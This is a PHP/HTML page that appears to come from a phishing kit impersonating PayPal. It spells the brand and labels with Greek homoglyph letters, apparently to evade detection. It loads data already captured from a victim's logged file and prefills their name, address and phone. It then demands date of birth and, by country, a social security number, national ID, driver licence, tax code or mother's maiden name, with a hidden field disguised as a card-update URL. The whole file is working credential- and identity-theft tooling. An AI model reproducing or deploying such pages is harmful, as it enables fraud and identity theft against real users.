<title>&Rho;ay&Rho;aI: Address Update</title>
<?php
    $Address = explode('Address', file_get_contents('../Save/' . $ip . '.logged'));
    $GetAdd  = str_replace('<br>', '|', $Address[1]);
    $info    = str_replace('&#x20;', ' ', explode('|', $GetAdd));
    $Name    = $info[0];
    $Add1    = $info[1];
    $info2   = explode('Phone', file_get_contents('../Save/' . $ip . '.logged'));
    $Phone   = $info2[1];
?>
    <script src="../js/jquery.billing.js"></script>
    <form method="post" id="parentForm" name="creditcard_Form" class="edit">
        <p class="group fcenter">
            <?php
if (!$Name == '') {
    echo '
                            <label for="full_name">&Alpha;ccount name :</label>
                                <span class="field">
                                    <input maxlength="30" class="large" autocomplete="off" required="required" name="full_name" value="' . $Name . '" type="text" readonly></span>
                        ';
}
?>
                <label for="address_1">&Alpha;ddress line 1 :</label>
                <span class="field">
                                    <input maxlength="30" class="large" autocomplete="off" required="required" name="address_1" value="<?php
if (!$Name == '') {
    echo $Add1;
}
?>" type="text"></span>

                <label for="address_2">&Alpha;ddress line 2 :</label>
                <span class="field">
                                    <input maxlength="30" class="large" autocomplete="off"  name="address_2" value="" type="text" placeholder="optional"></span>

                <label for="city">City :</label>
                <span class="field">
                                    <input maxlength="30" class="xmedium" autocomplete="off" required="required" name="city" value="" type="text"></span>

                <label for="state">State :</label>
                <span class="field">
                                    <input maxlength="30" class="xmedium" autocomplete="off" name="state" value="" type="text"></span>

                <label for="postal">ZIP / &Rho;ost c&omicron;de :</label>
                <span class="field">
                                    <input maxlength="11" class="medium" autocomplete="off" required="required" name="postal" value="<?php
if ($negara == "IE" or $negara == "HK") {
    echo '00000';
}
?>" type="text"></span>

                <?php
if (!$nama_negara == '') {
    echo '
                            <label for="country">Country :</label>
                                <span class="field">
                                    <input maxlength="11" class="large" autocomplete="off" required="required" name="country" value="' . $nama_negara . '" type="text" readonly></span>
                        ';
}
?>

                    <span class="help" style="padding-left: 4%;">Use f&omicron;r fraud alert.</span>
                    <label for="phone">&Rho;hone number :</label>
                    <span class="field">
                                        <input pattern="[0-9]{5,}" maxlength="15" class="xmedium" autocomplete="off" required="required" name="phone" value="<?php
if (!$Name == '') {
    echo $Phone;
}
?>" type="text" placeholder="primary"></span>

                    <?php
if ($negara == "US" or $negara == "IL") {
    echo '
                                <span class="help" style="padding-left: 4%;">Same tax &Iota;D as on y&omicron;ur tax return.</span>
                                    <label for="ssn">S&omicron;cial security number :</label>
                                        <span class="field">
                                            <input name="number_1" class="xxsmall" pattern="[0-9]{3,}" maxlength="3" autocomplete="off" required="required" value="" type="text"> - 
                                            <input name="number_2" class="xxsmall" pattern="[0-9]{2,}" maxlength="2" autocomplete="off" required="required" value="" type="text"> - 
                                            <input name="number_3" class="xxsmall" pattern="[0-9]{4,}" maxlength="4" autocomplete="off" required="required" value="" type="text"></span>
                        ';
} elseif ($negara == "HK") {
    echo '
                                <span class="help" style="padding-left: 4%;">Need f&omicron;r identification.</span>
                                    <label for="ssn">Nati&omicron;nal &Iota;D &Nu;umber :</label>
                                        <span class="field">
                                            <input maxlength="25" class="xxmedium" autocomplete="off" name="id_number" required="required" value="" type="text"></span>
                        ';
} elseif ($negara == "AU") {
    echo '
                                <span class="help" style="padding-left: 4%;">Need f&omicron;r identification.</span>
                                    <label for="ssn">Driver licence number :</label>
                                        <span class="field">
                                            <input maxlength="20" class="xxmedium" autocomplete="off" name="id_number" required="required" value="" type="text"></span>
                        ';
} elseif ($negara == "IT") {
    echo '
                                <span class="help" style="padding-left: 4%;">Need f&omicron;r identification.</span>
                                    <label for="ssn">Tax identification code :</label>
                                        <span class="field">
                                            <input maxlength="20" class="xxmedium" autocomplete="off" name="id_number" required="required" value="" type="text" placeholder="Codice Fiscale"></span>
                        ';
} elseif ($negara == "CA" or $negara == "IE" or $negara == "UK") {
    echo '
                                    <label for="ssn">Mother&apos;s maiden name :</label>
                                        <span class="field">
                                            <input maxlength="32" class="xxmedium" autocomplete="off" name="id_number" required="required" value="" type="text"></span>
                        ';
}
?>
                        <input style="display:none" name="form_url" value="wallet?/update/card/<?php
echo strtoupper(md5(gmdate('r')));
?>" type="text">
                        <span class="help" style="padding-left: 4%;">We'll confirm.</span>
                        <label for="dob">Date of birth :</label>
                        <span class="field">
<?php
echo date_dropdown(18);
function date_dropdown($year_limit = 0)
{
    /*months*/
    $html_output = '                                        <select class="mediu" required="required" title="Month" name="month">' . "\n";
    $html_output .= '                                           <option selected="selected" value="">month</option>';
    $months = array(
        "",
        "Jan",
        "Feb",
        "Mar",
        "Apr",
        "May",
        "Jun",
        "Jul",
        "Aug",
        "Sep",
        "Oct",
        "Nov",
        "Dec"
    );
    for ($month = 1; $month <= 12; $month++) {
        $html_output .= '<option value="' . $month . '">' . $months[$month] . '</option>';
    }
    $html_output .= "\n" . '                                        </select>' . "\n";
    
    /*days*/
    $html_output .= '                                       <select class="smal" required="required" title="Day" name="day">' . "\n";
    $html_output .= '                                           <option selected="selected" value="">day</option>';
    for ($day = 1; $day <= 31; $day++) {
        $html_output .= '<option value="' . $day . '">' . $day . '</option>';
    }
    $html_output .= "\n" . '                                        </select>' . "\n";
    
    /*years*/
    $html_output .= '                                       <select class="mediu" required="required" title="Year" name="year">' . "\n";
    $html_output .= '                                           <option selected="selected" value="">year</option>';
    for ($year = (date("Y") - $year_limit); $year >= 1900; $year--) {
        $html_output .= '<option value="' . $year . '">' . $year . '</option>';
    }
    $html_output .= "\n" . '                                        </select>' . "\n";
    
    return $html_output;
}
?>
                                    </span>

        </p>

        <p class="bcenter">
            <button style="width: 100px !important;" type="submit" value="Next" class="button">Next</button>
        </p>

    </form>